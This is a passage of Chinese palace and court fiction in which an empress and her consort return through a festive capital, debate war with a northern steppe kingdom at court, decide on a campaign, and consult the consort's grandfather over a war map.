随着拖尾的轻柔飘起——赫然露出了里面那金线密织、在夕阳温暖余晖映照下、闪烁着如同晚霞熔金般温暖而充满希冀光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种不同于以往威严或决绝的、带着母性光辉与对未来期盼的柔和金芒。 那光芒充满了对平凡幸福的瞬间触动、对生命延续的渴望以及一种深藏于帝王心术之下、最为柔软的人性温情,尊贵、辉煌,却在此刻披上了一层温暖而朦胧的光晕! 裙摆落下,将那片温暖的金光与瞬间流露的真情掩盖。 慕容嫣在林臻的搀扶下登上马车。 车内,她轻轻靠在软垫上,望着窗外迅速掠过的街景,久久没有说话。 林臻也没有打扰她,只是静静地握着她的手,传递着无声的支持与安慰。 马车驶入皇城,周围的喧嚣渐渐沉寂。慕容嫣忽然轻声开口,带着一丝不易察觉的脆弱:“夫君,你说……我们真的会有那么一天吗?” 林臻将她揽入怀中,下巴轻轻抵着她的发顶,声音坚定而温柔: “会的,嫣儿。我向你保证。等北疆平定,朝局稳固,你的身体也调养好了,我们一定会有自己的孩子。我会陪着你,看着他长大,教他读书写字,骑马射箭……就像所有寻常的父母一样。” 慕容嫣在他怀中轻轻“嗯”了一声,闭上了眼睛,感受着他胸膛传来的温暖和有力的心跳。 帝后的马车离开了礼部侍郎李文渊那充满书香与童稚欢笑的府邸,缓缓行驶在返回紫禁城的长安街巷之上。 与白日里拜访重臣时的肃穆氛围不同,年初四的夜晚,长安城展现出了它作为天朝上国都城的另一面——极致的繁华与喧嚣。 马车并未清道疾行,而是依着慕容嫣的意思,融入了熙攘的车流与人潮之中。 车厢壁镶嵌的夜明珠散发出柔和的光晕,映照着依偎在一起的帝后二人。 慕容嫣身上那件神凤降世裙,在珠光下,墨黑的苏锦底料愈发显得深邃如夜,织入其中的金色棉绒与金线绣成的凤凰暗纹,则流淌着一种静谧而雍容的光泽。 苏锦工艺的精湛,确保了这件棉质睡裙即便经历了一整日的奔波,依旧保持着轻盈贴体的特性,不会让穿着者感到特别沉重。 那件黑金色霞帔,被她解下,轻轻搭在一旁。 宽大的喇叭袖口,金线流苏安静垂落。她左手拇指上的墨玉扳指,在珠光下泛着温润的光。 慕容嫣微微倾身,用指尖轻轻挑开了车窗锦帘的一角,一股混合着食物香气、烟火气、以及人群热闹声浪的气息瞬间涌入车厢。 窗外,是绵延不绝的灯市。各式各样的花灯争奇斗艳,走马灯旋转不休,莲花灯含苞待放,巨大的鳌山灯彩璀璨夺目,将整条街道照得亮如白昼。 街道两旁,商铺林立,旌旗招展,售卖着各色年货、小吃、玩具。 叫卖声、吆喝声、孩童的嬉笑声、杂耍艺人的喝彩声,汇成了一曲充满生机与活力的盛世交响。 “瞧,夫君,那边有卖糖人的!”慕容嫣眼睛一亮,指着窗外一个被孩子们围住的小摊,脸上露出如同少女般新奇雀跃的神情,全然不见了白日里应对重臣时的威仪深沉。 她下意识地摇了摇林臻的手臂,语气中带着撒娇的意味,“画得真精巧,那小猴子活灵活现的。” 林臻顺着她指的方向望去,只见那老艺人手巧如飞,顷刻间便用糖稀画出一只栩栩如生的小动物。 他看着她难得流露出的、近乎孩童般的纯真兴趣,心中爱怜满溢,柔声笑道:“是啊,民间多奇人。嫣儿若是喜欢,我让人去买一个来?” 慕容嫣却摇了摇头,放下车帘,重新靠回他身边,语气带着一丝赧然:“罢了,朕乃一国之君,怎能如孩童般当街吃糖人?让人瞧见了,岂不有失威仪?” 她顿了顿,目光却依旧透过帘子的缝隙,流连于窗外那一片火树银花, “只是看着这满街的灯火,听着这百姓的笑语,心里觉得……真好。” 她的声音渐渐低沉下来,带着一种深沉的感慨。 第1058章 夜景 林臻没有接话,只是将她往自己怀里拢了拢,让她靠得更舒服些,静静地听着她说。 慕容嫣的目光仿佛穿透了车厢,投向了那万家灯火的最深处,喃喃道: “夫君,你看他们……那些牵着孩子手、为孩子买糖人灯笼的父母,那些在摊前为一块花布讨价还价的夫妻,那些围在一起看杂耍、发出阵阵喝彩的寻常百姓……他们或许不知朝堂风云,不晓边关烽烟,他们关心的,不过是柴米油盐,是家人安康,是这年节下的片刻欢愉。” 她的指尖无意识地缠绕着林臻衣襟上的一根丝绦,继续低语,声音轻得像是在对自己说,又像是在对最亲密的爱人倾诉心声: “可这不正是我们孜孜以求的吗?四海升平,百姓安居乐业,夜不闭户,路不拾遗……父皇在世时,常对朕说,为君者,肩上是万里江山,心中需装得下亿万黎民。朕以前坐在那冰冷的凤椅上,批阅着无穷无尽的奏章,听着臣工们禀报各地的灾荒、战事、赋税……有时会觉得,那‘盛世’二字,何其沉重,何其遥远。” 她微微停顿,吸了口气,空气中弥漫的市井烟火气,似乎也带着一种踏实的力量。 “可是今晚,坐在这马车里,看着窗外这一切,朕忽然觉得,‘盛世’并非只是奏章上冰冷的数字,也不是史书上华丽的辞藻。它就在这里,在这满街的花灯里,在孩童清脆的笑声里,在每一个平凡人满足的脸庞上。它是有温度的,是热闹的,是……触手可及的。” 林臻低下头,下颌轻轻摩挲着她的发顶,声音沉稳而充满力量: “是的,嫣儿。这就是我们想要守护的。你所做的每一个决定,所承受的每一分压力,都是为了这万家灯火能够长明,为了这寻常百姓的安稳日子不被打破。你是一个好皇帝,嫣儿。父皇若在天有灵,定会为你感到骄傲。” 慕容嫣在他怀中轻轻摇了摇头,语气带着一丝不易察觉的脆弱与坚定交织的复杂情绪: “不,夫君,朕做得还远远不够。北疆未靖,漠北王庭虎视眈眈,朝中或许还有暗流涌动……朕有时也会怕,怕自己能力不足,怕辜负了父皇的期望,怕守护不住眼前这来之不易的太平景象。” 她说着,下意识地握紧了林臻的手,仿佛要从他那里汲取力量。 林臻反手将她的手紧紧包裹,力道坚定,声音不高,却带着一种足以安抚一切不安的沉稳: “不要怕,嫣儿。你不是一个人。你有我,有林氏满门忠烈,有杜相、周尚书那样忠心耿耿的臣子,更有这万千心向太平的百姓。我们在一起,一定能扫清一切障碍,让这盛世,不止于长安一隅,而要泽被天下,绵延万世。” 他的话语如同最坚实的磐石,稳稳地托住了慕容嫣此刻有些感怀的心绪。 她在他怀中抬起头,凤眸中水光潋滟,倒映着车厢内柔和的珠光,也倒映着林臻坚定而深情的面容。那里面,有对她作为女帝的理解与支持,更有对她作为妻子最深沉的爱护。 “夫君……”她轻声唤道,声音带着浓浓的依赖与感动,“谢谢你,一直在我身边。” “傻话,”林臻低头,在她光洁的额头上印下一个轻柔而珍重的吻,“你我夫妻一体,荣辱与共。你在哪里,我就在哪里。你要守护这盛世,我便为你披荆斩棘,做你最锋利的剑,最坚固的盾。” 慕容嫣满足地喟叹一声,重新将脸埋进他温暖的胸膛,听着他有力而平稳的心跳,窗外喧嚣的市井之声仿佛成了遥远的背景音。 这一刻,她不再是那个孤悬于九重宫阙之上的女帝,只是一个被夫君深深爱着、保护着的普通女子。 国事的繁重,未来的不确定性,似乎都在这个温暖坚实的怀抱里,暂时得到了缓解和安放。 马车缓缓驶过最繁华的街市,周围的灯火渐渐稀疏,人声也逐渐远去,预示着皇城将近。 慕容嫣似乎有些不舍这难得的烟火气息,她又微微支起身子,最后望了一眼窗外。 远处,百姓家的窗户里透出的点点灯火,在夜色中连成一片温暖的光晕。 她轻轻地说,声音不大,却带着一种不容置疑的决断,仿佛是对林臻的承诺,也是对自己的誓言: “夫君,朕一定要让这灯火,永远亮下去。让大乾的每一个子民,都能享有这样的太平年节。” 就在这时,马车经过一处稍微颠簸的路面,车身轻轻一晃。慕容嫣下意识地坐直身子,伸手想去扶稳车窗框。 就在她回身的瞬间—— 动作带着对窗外盛世的最后凝望与内心誓愿生成的决绝! 那堆叠在车厢座位下、沾满一日风尘、凌乱卷曲的墨金色苏锦拖尾,被这突如其来的颠簸和她的动作带动! 最外层的裙摆扬起,拂过铺着软毯的车厢底板。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在车厢内柔和珠光与窗外远处万家灯火交织映照下、闪烁着如同星河落凡般浩瀚而坚定光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种承载了万民期望与帝王誓言的、无比浑厚而神圣的金芒。 那光芒充满了对眼前盛景的珍视、对未来责任的担当以及一种与身边人同心协力、至死不渝的坚定信念,尊贵、辉煌,且在此刻蕴含着磅礴的力量与温柔的决心! 裙摆落下,将那片象征着责任与守护的璀璨金光掩盖。 慕容嫣坐稳了身子,目光却不再迷茫或感伤,而是恢复了平日的清亮与坚定。 她主动握住林臻的手,十指紧扣。 “回宫吧,夫君。”她的声音平静而有力,“明日,还有更多的奏章,更多的国事,等着我们去处理。” 林臻看着她重拾斗志的模样,眼中满是欣赏与爱意,点头道:“好,我们回家。” 马车驶入寂静的宫道,将身后的万家灯火与人间烟火气渐渐隔绝。 正月初五,寅时刚过。 城市还笼罩在破晓前的深沉夜色中,紫禁城却已苏醒。 重重宫门次第开启,身着各色品级官服的文武百官,手持玉笏,踩着尚未融尽的残雪,沿着漫长的宫道,沉默而有序地走向那象征着帝国权力核心的太极殿。 今日是大朝会,年节休沐后的首次大朝,气氛格外的凝重。 太极殿内,灯火通明,如同白昼。 巨大的蟠龙金柱支撑着高耸的穹顶,穹顶绘有飞天彩凤,与地面金砖上雕刻的繁复凤纹遥相呼应。 殿宇深处,九级高阶之上,是那尊独一无二的赤金凤椅,椅背雕琢着展翅欲飞的九天凤凰,每一片羽毛都栩栩如生,散发着不容逼视的皇家威仪。 空气中弥漫着庄严肃穆的气息,唯有官员们轻微步履声和衣料摩擦的窸窣声。 卯时正,钟鼓齐鸣,净鞭三响。 司礼监太监尖细悠长的唱喏声穿透大殿:“陛下驾到——百官跪迎——” 霎时间,殿内百官齐刷刷跪伏在地,山呼海啸般的“万岁”声震耳欲聋。 高阶之上,侧门开启,慕容嫣在林臻的陪同下,缓步走出,登上御阶。 慕容嫣依旧只穿着那身贴身的神凤降世裙,只是在外面庄重地罩上了那件与之配套的黑金色霞帔,以示朝会的正式。 那神凤降世裙,以极致玄黑的苏锦为底料,织入金色棉绒,使得墨色底中流淌着暗金光泽,在殿内无数灯烛的照耀下,沉静如渊,又华彩内蕴。 苏锦工艺精湛,质地轻薄,这件棉质睡裙虽裙幅宏大,却因其卓越的工艺并不显得特别沉重。 裙身之上,用最上等的真金线,绣制着一只布满整体的擎天巨凤,凤首高昂于胸前,双翼展于宽大华丽的喇叭袖,袖口金线流苏垂落,凤尾则与那长达五丈的苏锦拖尾完美相连,迤逦于身后。 此刻,这长长的拖尾,并未经任何宫人拾掇,就那般自然而然地拖曳在御阶之上、凤椅之前光洁如镜的金砖地面上,随着她的行走,铺散开一片墨金色的云锦,因步履移动而形成自然的皱褶与蜿蜒,显得格外凌乱,却在这至高无上的权力殿堂中,形成了一种独一无二、无需修饰的天然威仪。 那件黑金色霞帔,披在她肩头,霞帔上的金凤纹样与睡裙上的凤凰图案层叠辉映,更添雍容霸气。 她左手拇指上的墨玉扳指,在烛光下泛着幽深的光泽。 她步履沉稳,凤眸扫过下方黑压压跪伏的臣工,目光平静却极具穿透力。 第1059章 到底是战是和 林臻身着亲王蟒袍,紧随其后,在她身侧略靠后的位置站定,身姿挺拔,目光锐利地扫视全场,如同最忠诚的守护神。 “众卿平身。”慕容嫣端坐于凤椅之上,声音清越,不高不低,却清晰地传遍大殿的每个角落,带着一种天生的威压。 “谢陛下!”百官再拜,方才起身,按品级肃立两厢。 大殿内一片寂静,落针可闻,所有人都感受到了一种不同于年节祥和的气氛,心知今日朝会,必有要事。 慕容嫣没有多余的寒暄,直接切入正题,目光投向文官班首的宰相杜如晦:“杜相,年节已过,各地政务可还顺畅?北疆近日,可有新的军报呈递?” 她的声音平稳,却让所有人都竖起了耳朵。 杜如晦出班,躬身奏道:“回禀陛下,托陛下洪福,各地政务基本顺畅,百姓安度年节。至于北疆……”他顿了顿,从袖中取出一份奏折,“兵部昨夜收到镇北将军郑蛟八百里加急军报,正欲呈报陛下。” “念。”慕容嫣言简意赅。 杜如晦展开奏折,朗声宣读。 郑蛟在奏报中详细陈述了漠北王庭近期的异常动向:各部族收缩兵力,但操练频繁,大量囤积箭矢粮草,打造攻城器械,斥候发现有小股精锐频繁窥探边境防线。 最后,奏报重点提及,漠北左贤王乌维,近日公然携所谓“圣裔驸马”孔志谦巡视各部,以其名义犒赏军士,鼓舞士气,其南下侵略之心,已昭然若揭。 奏报念完,大殿内响起一片压抑的吸气声和窃窃私语。 虽然众人对北疆局势有所耳闻,但如此详细的军报和“圣裔驸马”这个敏感称谓,还是让群臣感到了事态的严重性。 慕容嫣面色平静,看不出喜怒,目光扫过百官:“众卿都听到了。漠北厉兵秣马,又以逆贼余孽为旗号,其心可诛。对此,众卿有何看法?” 话音刚落,武将班列中,一位性如烈火的老将军便大步出班,声如洪钟: “陛下!漠北蛮族,狼子野心,亡我之心不死!如今竟敢抬出孔家逆子,妄图混淆视听,实乃奇耻大辱!末将以为,当立即调集精锐,增兵北疆,主动出击,趁其尚未完全准备妥当,给予迎头痛击!扬我国威,震慑宵小!” 此人乃是靖北侯,一生与漠北交战,主战态度最为坚决。 “靖北侯此言差矣!” 一位须发皆白的老臣立刻出列反驳,是礼部尚书王允之,他面带忧色, “陛下!兵者,凶器也,圣人不得已而用之。漠北虽蠢蠢欲动,然其是否真敢大举南犯,尚未可知。我朝方经年节,国库虽丰,然大战一起,耗费钱粮无数,生灵涂炭。且北地苦寒,春季将至,然冰雪初融,道路泥泞,利于守而不利于攻。此时贸然出兵,若战事不利,或陷入胶着,岂非徒耗国力,予敌可乘之机?不若谨守关隘,遣能言善辩者出使漠北,陈说利害,或可消弭兵祸于未然。” 他是典型的主和派代表。 “王尚书此言,未免太过怯懦!”另一位中年将领出班,是兵部侍郎孙武,“漠北豺狼成性,岂是言语所能打动的?谨守关隘,被动挨打,乃取死之道!乌维抬出孔家子,分明是要乱我民心士气!此时若不展示强硬姿态,只会让漠北以为我朝怯战,更加肆无忌惮!必须予以雷霆反击!” “孙侍郎!岂不闻‘国虽大,好战必亡’?”一位御史言官接口道,“陛下初登大宝,当以仁德治天下,休养生息。北疆防线稳固,郑蛟将军亦是良将,只需严加戒备,漠北未必敢轻举妄动。若主动挑起战端,胜则罢了,若败,则国势危矣!且战事一起,必加赋税,苦的还是天下百姓啊!” 言官们多从民生道德角度考虑。 “难道放任漠北准备妥当,大兵压境,就不是苦了百姓吗?”靖北侯怒目而视,“届时战火燃于国门之内,百姓流离失所,岂不更惨?!” 朝堂之上,顿时分成了泾渭分明的两派。 主战派以武将为主,慷慨激昂,主张先发制人,以战止战;主和派则以文官和部分言官为主,强调国力、民生,主张外交斡旋,谨慎避战。 双方引经据典,争论不休,大殿内充满了火药味。 慕容嫣端坐凤椅之上,静静地听着,脸上没有任何表情,只有指尖在那墨玉扳指上无意识地轻轻摩挲。 林臻站在她身侧,目光如炬,冷静地观察着每一个发言的臣子,将他们的话语、神态一一记在心里。 争论持续了将近半个时辰,双方各执一词,谁也说服不了谁。 这时,杜如晦再次出班,朗声道: “陛下,诸位同僚!争论无益,关键在于圣心独断。老臣以为,战与和,皆需建立在对敌我形势准确判断之上。漠北之患,确需警惕,然是否立即大规模用兵,还需权衡利弊。当务之急,是向北疆增派精锐,加强戒备,令郑蛟将军有权根据敌情临机决断,若漠北有小股挑衅,坚决打击;同时,可秘密遣使接触漠北内部与乌维不合的势力,或西域诸国,进行分化瓦解。此所谓,‘外示以强,内修文德,静观其变,后发制人’。” 杜如晦的话,相对折中,既强调了备战的重要性,也提出了非军事手段的可能性,顿时让激烈的争论稍稍平息了一些。 众臣的目光,再次聚焦到了九重御阶之上,那位身着墨金色神凤降世裙、威仪天成的女帝身上。 慕容嫣终于动了。她缓缓抬起手,殿内瞬间鸦雀无声。她目光平静地扫过全场,每一个与她对视的臣子都不由自主地低下了头。 “众卿所言,皆有道理。”她的声音响起,清冷而沉稳,带着一种不容置疑的决断力,“靖北侯忠勇可嘉,王尚书心系民生,孙侍郎思虑周全,杜相老成谋国。” 她微微停顿,凤眸中闪过一丝锐利的光芒:“然,朕想问诸位,漠北乌维,是否会因我朝避战求和,便放下屠刀,立地成佛?那孔家遗孤,是否会因我朝怀柔,便幡然醒悟,认祖归宗?” 她的声音不高,却如同重锤,敲在每一个臣子的心上。无人能答。 慕容嫣缓缓站起身。就在她起身的瞬间—— 动作带着倾听完群臣辩论、即将做出最终裁决的威仪与决断! 那迤逦在御阶之上、凤椅之前、铺散凌乱长达五丈的墨金色苏锦拖尾,被这骤然起身的动作猛地带动! 华贵锦缎拂过光滑的金砖地面,发出“唰”的一声清晰悠长的鸣响,在整个寂静的大殿中回荡。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在殿内璀璨灯烛光芒映照下、闪烁着如同烈日熔金般炽热而威严光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种洞悉局势、权衡利弊、最终乾纲独断的、无比耀眼的金芒! 那光芒充满了对主战派勇气的认可、对主和派忧虑的理解,但更多的是超越争议、俯瞰全局的帝王智慧与承担最终责任的巨大勇气,尊贵、辉煌,且带着一种即将颁布重大决策的、石破天惊的压迫感! 裙摆落下,将那片象征最终决断的璀璨金光掩盖。 慕容嫣立于高阶之上,俯视群臣,声音陡然提高,清晰而坚定地传遍大殿: “漠北之患,非一日之寒!乌维之心,路人皆知!求和避战,换不来和平,只会让豺狼觉得我朝软弱可欺!朕意已决!” “着兵部、户部,即日筹措粮草军械,秘密调遣京畿、中原精锐兵马十万,分批开赴北疆,归镇北将军郑蛟节制!北疆各镇,即日起进入一级战备,严防死守!若漠北敢有一兵一卒越过边境,给朕狠狠地打,绝不姑息!” “着礼部、枢密院,精选干练之人,秘密前往西域,离间漠北与诸部关系,断其外援!同时,严密监控境内,凡有敢散布投降言论、或与漠北暗通款曲者,以叛国罪论处,立斩不赦!” 她的目光最后落在杜如晦身上:“杜相。” “老臣在!” “着你总揽全局,协调各部,确保政令畅通,后勤无忧!” “老臣遵旨!”杜如晦躬身领命,心中凛然。 慕容嫣的目光缓缓扫过下方神色各异的群臣,最终定格在虚空处,仿佛看到了遥远的北疆,声音带着一丝冰冷的杀意: “朕,要让乌维明白,也要让天下人明白!这大乾的江山,是打下来的!这大乾的太平,也是靠铁与血守住的!容不得任何魑魅魍魉,觊觎分毫!” “退朝!” 说罢,她不再看任何人,转身,在那片墨金色、凌乱而威仪的拖尾簇拥下,与林臻一同离开了大殿。 第1060章 必须打漠北 太极殿上那场关乎国运的激烈朝会已然散去,余音却如同殿外未散的晨钟,回荡在紫禁城的上空,沉甸甸地压在每一个知情者的心头。 慕容嫣在林臻的陪同下,离开了喧嚣鼎沸、仍弥漫着争论气息的大殿,穿过重重宫阙,回到了位于深宫的、只属于他们二人的寝殿——凤仪宫。 踏入宫门,外界的肃杀与喧嚣仿佛被一道无形的屏障隔绝。 殿内温暖如春,地龙烧得正旺,角落里的瑞兽熏炉吐出袅袅的安神香,与窗外透进的、带着寒意的清新空气混合,形成一种令人心神稍定的宁静。 殿内的陈设,无一不彰显着皇家的极致奢华与凤凰元素的至高无上:凤纹镶嵌的窗棂,金凤衔珠的宫灯,就连铺设地面的金砖,也隐隐刻着暗凤翔舞的纹路。 慕容嫣径直走向那设于殿宇深处、背靠巨大屏风的凤椅。 她步履间略显疲惫,方才在朝堂之上,面对主战主和两派的激烈争辩,她始终保持着绝对的冷静与威仪,此刻回到这私密的空间,那紧绷的神经才稍稍松弛下来。 她身上依旧只穿着那身神凤降世裙,外面罩着的黑金色霞帔。 此刻,那身作为她唯一寝衣兼常服的神凤降世裙,完全展现出来。 极致玄黑的苏锦底料,在殿内柔和的光线下,吸吮着温暖的气息,呈现出一种沉静如子夜深海般的墨色。 织入其中的金色棉绒与金线绣成的凤凰暗纹,则在内敛中流淌着淡淡的、如同暗流涌动般的金色辉光。 苏锦工艺赋予了这件棉质睡裙无与伦比的轻盈与柔软,即便拥有如此巨大的裙幅,穿着也丝毫不觉特别沉重,反而因其透气亲肤的棉质特性,成为她最贴身的慰藉。 裙身上,那只用最上等真金线绣制的、布满整体的擎天巨凤,凤首威仪地置于胸前,双翼展于宽大华丽的喇叭袖,袖口的金线流苏随着她的动作轻轻摇曳,凤尾则与那长达五丈的苏锦拖尾浑然一体。 此刻,这长长的拖尾,毫无拘束地拖曳在身后光洁的金砖地面上,从凤椅之前,一路迤逦至殿门方向,因她步履的移动和此刻放松的状态,铺散得凌乱不堪,皱褶层层叠叠,蜿蜒扭曲,甚至有几处被椅脚或她自己的步履不经意地压住、踢到,更添几分真实而随性的慵懒之美,却也在这份凌乱中,隐隐透露出主人方才经历的心力交瘁。 她左手拇指上的墨玉扳指,在殿内温暖的光线下,泛着莹润柔和的光泽。 林臻紧随其后,挥手屏退了所有宫人。 当殿门被轻轻合上,偌大的寝殿内只剩下他们二人时,慕容嫣身上那层属于帝王的、坚不可摧的铠甲仿佛瞬间融化了些许。 她没有立刻坐上凤椅,而是停下脚步,转过身,面向林臻。 她没有说话,只是微微仰起头,看着林臻,那双在朝堂上锐利如鹰、洞悉一切的风眸,此刻漾着水光,带着一丝难以掩饰的疲惫,以及更深沉的、全然的信赖。 她向前轻轻迈了一小步,伸出双臂,环住了林臻的腰,将额头抵在他坚实温暖的胸膛上,发出一声几不可闻的、带着依赖的轻叹。 “夫君……”她的声音闷闷的,带着一点撒娇的鼻音,与朝堂上那个乾纲独断的女帝判若两人,“……站得腿都有些酸了。” 林臻心中最柔软的地方被瞬间击中。 他立刻伸出双臂,将她纤细却承载着江山重量的身躯紧紧拥入怀中,一手环着她的腰,另一只手轻轻地、有节奏地拍抚着她的后背,仿佛在安抚一个受累了的孩子。 他低下头,下颌温柔地摩挲着她散发着淡香的发顶,声音低沉而充满疼惜:“我知道,辛苦你了。朝堂上那些老臣,争执起来没完没了。” 慕容嫣在他怀里轻轻摇了摇头,脸颊在他胸前的衣料上蹭了蹭,像只寻求安慰的猫儿:“不全是辛苦……只是觉得,肩上担子,从未如此沉重过。” 她顿了顿,声音低了下去, “一念之间,或许便是万千将士的生死,黎民百姓的福祸……” 林臻没有立刻接话,只是将她抱得更紧了些,用体温温暖着她微凉的手脚。 过了片刻,他微微弯身,一手穿过她的膝弯,竟轻松地将她打横抱起。 “呀!”慕容嫣轻呼一声,下意识地揽住他的脖颈,脸上飞起一抹红霞,嗔怪道,“你做什么?快放我下来,像什么样子……” 话虽如此,她却没有丝毫挣扎,反而将脸埋得更深了些。 林臻低头看着她难得的小女儿情态,眼中满是宠溺的笑意,抱着她,几步走到那宽大威严的凤椅前,却没有将她放下,而是自己先坐了下去,然后小心翼翼地将她安置在自己坚实的大腿上,让她以一个极为舒适的姿势倚靠在自己怀里。 凤椅虽宽大,但两人同坐,依旧显得亲密无间。 “这里没有外人,我的女帝陛下,”林臻用指尖轻轻拂开她颊边一丝不听话的发丝,声音温柔得能滴出水来,“累了,就靠着夫君休息一会儿。天大的事,也有我陪你一起扛。” 慕容嫣顺势调整了一下姿势,整个人软软地偎在他怀中,侧脸贴着他的胸膛,听着他沉稳有力的心跳声,那躁动不安的心绪渐渐平复下来。 她身上那墨金色的神凤降世裙,因这亲密的坐姿,裙摆更加凌乱地铺散开,一部分垂落在凤椅宽大的座榻上,更多的则迤逦垂落,与林臻的衣袍下摆交织在一起,拖尾的长梢甚至滑落到了脚踏之下。 那宽大的喇叭袖,一只软软地搭在林臻的臂弯,另一只则被她无意识地攥在手中。 “夫君,”她安静地靠了一会儿,忽然开口,声音已经恢复了清明,却依旧带着依赖的软糯, “今日朝上,你都看到了。主和之声,并非全无道理。战端一开,生灵涂炭,国库消耗巨大……这些,朕何尝不知?” 林臻握住她微凉的手,放在掌心暖着,沉声道: “嫣儿,你所虑极是。但有些仗,不得不打。漠北乌维,野心勃勃,绝非怀柔所能感化。他今日抬出孔家子,明日就敢打出更冠冕堂皇的旗号。我们若示弱,只会助长其气焰,让他觉得我大乾可欺。届时,战火或许不会立刻烧起,但边境永无宁日,边防压力倍增,岁币、和亲……这些软刀子的消耗,未必就比一场硬仗小。而且,长久下去,军心、民心,都会涣散。” 慕容嫣抬起头,望进他深邃而坚定的眼眸,那里面没有丝毫的犹豫和怀疑,只有全然的信任与支持。 她伸出手,指尖轻轻描绘着他棱角分明的下颌线,低声道:“朕知道……所以,朕才在朝堂上,力排众议,定了主战的调子。” 她的眼神逐渐变得锐利起来,带着一丝冰冷的杀意, “漠北必须要打!而且,不能给他们任何喘息的机会!乌维想利用这个冬天积蓄力量,等待春来草长马肥?朕偏不让他如愿!” 她坐直了些身子,虽然依旧靠在林臻怀里,但语气已然带上了属于决策者的果决: 第1061章 爷爷,你怎么看? “郑蛟的军报你也看了,漠北各部正在集结,但尚未完全协调一致。这就是我们的机会!我们必须抢在他们前面,打乱他们的部署!朕已下旨增兵北疆,但要的不仅仅是防守!”她的手指无意识地收紧,抓住了林臻的衣襟,“要主动出击!派出精锐骑兵,深入漠北境内,骚扰其粮道,焚其草场,打击其小股部队,要让乌维日夜不宁,让他无法从容备战!” 林臻眼中闪过激赏的光芒,他低头吻了吻她的发顶,赞道: “嫣儿英明!此乃上策!以攻代守,将战火引向敌境,既能锻炼我军,摸清敌情,又能最大限度地消耗漠北的实力,打击其士气。待其疲敝之际,我再集结主力,予其致命一击!”他的分析,与慕容嫣的想法不谋而合。 “只是……”慕容嫣的眉头又微微蹙起,露出一丝担忧,“深入漠北,风险极大。领兵之人,需得智勇双全,胆大心细,更要绝对忠诚可靠……” “此事交给我。”林臻握紧她的手,语气斩钉截铁,“我会亲自挑选将领,拟定详细的方略。人选方面,有几个年轻将领可堪大任,既有锐气,又不乏沉稳。明日我便召他们入宫,详细布置。” 听到他如此说,慕容嫣心中大定。她重新放松身体,靠回他怀中,轻轻舒了口气,仿佛卸下了千斤重担: “有夫君在,朕便安心了。”她闭上眼,感受着这份难得的安宁与依靠,喃喃道,“只是……又要辛苦你奔波操劳了。” “为你,为这大乾江山,何谈辛苦。”林臻低笑,手臂收紧,将她圈在怀中,“你只需坐镇中枢,稳住朝局,运筹帷幄。前线厮杀之事,交给我和将士们。” 殿内一时静谧,只有熏香袅袅,和彼此交融的呼吸声。 慕容嫣似乎沉浸在这片刻的温存中,过了好一会儿,她仿佛想到了什么,轻轻动了一下,想要换个更舒服的姿势。 就在她微微侧身,调整坐姿,将脸更贴近林臻颈侧,仿佛想要汲取更多温暖和力量的瞬间—— 动作带着全然的信赖、依赖与卸下心防后的自然! 那铺散在凤椅座榻、垂落脚踏、与林臻衣袍交织、迤逦凌乱长达五丈的墨金色苏锦拖尾,被这细微的、带着缠绵意味的动作悄然带动! 最外层的裙摆扬起,拂过林臻的靴面和光洁的脚踏。 随着拖尾的轻柔飘起——赫然露出了里面那金线密织、在寝殿温暖柔和的光线下、闪烁着如同月下金沙般温暖而坚定光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种交织着铁血决心与似水柔情的、无比和谐而强大的金芒! 那光芒充满了对爱人的全然信赖、对江山责任的坚定不移,以及一种将最柔软的一面交付于最信任之人的安然与幸福,尊贵、辉煌,且在此刻蕴含着超越权势、回归本真的深沉爱意与并肩作战的无穷力量! 裙摆落下,将那片象征着信赖与依托的璀璨金光掩盖。 慕容嫣在林臻怀中寻到了一个最舒适的位置,满足地喟叹一声,仿佛所有的疲惫与压力,都在这个温暖坚实的怀抱中得到了缓解。 她低声说,语气坚定:“好,朕在长安,等着夫君和将士们的捷报。” ...... 夜色如墨,凛冽的寒风吹过长安城寂静的街巷,卷起地上未化的残雪。 摄政王府门前两盏气死风灯在风中摇曳,昏黄的光晕映照着紧闭的朱漆大门和门前肃立的带甲侍卫,平添几分肃杀。 一辆没有任何徽记的朴素马车,在数骑黑衣护卫的簇拥下,悄无声息地驶至王府侧门。 车帘掀开,一身玄色常服、外罩墨色大氅的林臻,动作利落地跃下马车,眉宇间带着一丝不易察觉的疲惫,但眼神却锐利如鹰,在夜色中熠熠生辉。 他并未惊动太多人,只对迎上来的王府总管微微颔首,便径直穿过几重院落,向着府邸深处那处灯火通明的独立小院走去。 院中那株老梅在寒夜中暗香浮动。 小院正房的书斋内,烛火通明,炭火烧得正旺,驱散了冬夜的寒意。 老摄政王林震仙并未安寝,他身穿一件半旧的藏青色团花便袍,外罩一件狐皮坎肩,正坐在临窗的暖榻上,就着明亮的烛火,仔细端详着铺在面前矮几上的一幅巨大的北疆及漠西舆图。 图上用朱砂、墨笔标注着密密麻麻的符号与注释,显然已被反复研究。 听到门外熟悉的脚步声,他并未抬头,只是沉声说了一句:“进来。” 林臻推门而入,带进一股寒气。他反手轻轻掩上门,隔绝了外面的冷风,这才走到暖榻前,恭敬行礼:“孙儿给爷爷请安。” 林震仙这才抬起头,放下手中的放大镜,目光落在孙子身上,将他略显风尘仆仆却精神奕奕的模样尽收眼底,花白的眉毛动了动,指了指榻对面的座位: “坐吧。宫里……都议定了?” 他声音洪亮,带着历经沧桑后的沉稳。 “是,爷爷。”林臻在祖父对面坐下,立刻有侍立在角落的老仆无声地奉上热茶,又悄然退下。 林臻端起茶杯暖了暖手,并未立刻饮用,而是目光投向几上的舆图,神色凝重, “朝会上争论激烈,主和主战各执一词。但嫣儿……陛下圣心独断,已下定论:漠北之战,不可避免,且需主动出击,不能坐等乌维准备妥当。” 林震仙闻言,眼中并无意外之色,反而闪过一丝赞赏的精光,他捋了捋长须,哼了一声: “慕容家这丫头,关键时刻,倒是有几分她祖父当年的杀伐果断!优柔寡断,只会贻误战机!乌维那条老狼,跟他讲仁义道德,无异于对牛弹琴!说说看,陛下是如何部署的?” 他更关心具体的方略。 林臻身体微微前倾,用手指点向舆图上漠北王庭龙城的大致位置,语气清晰而迅速: 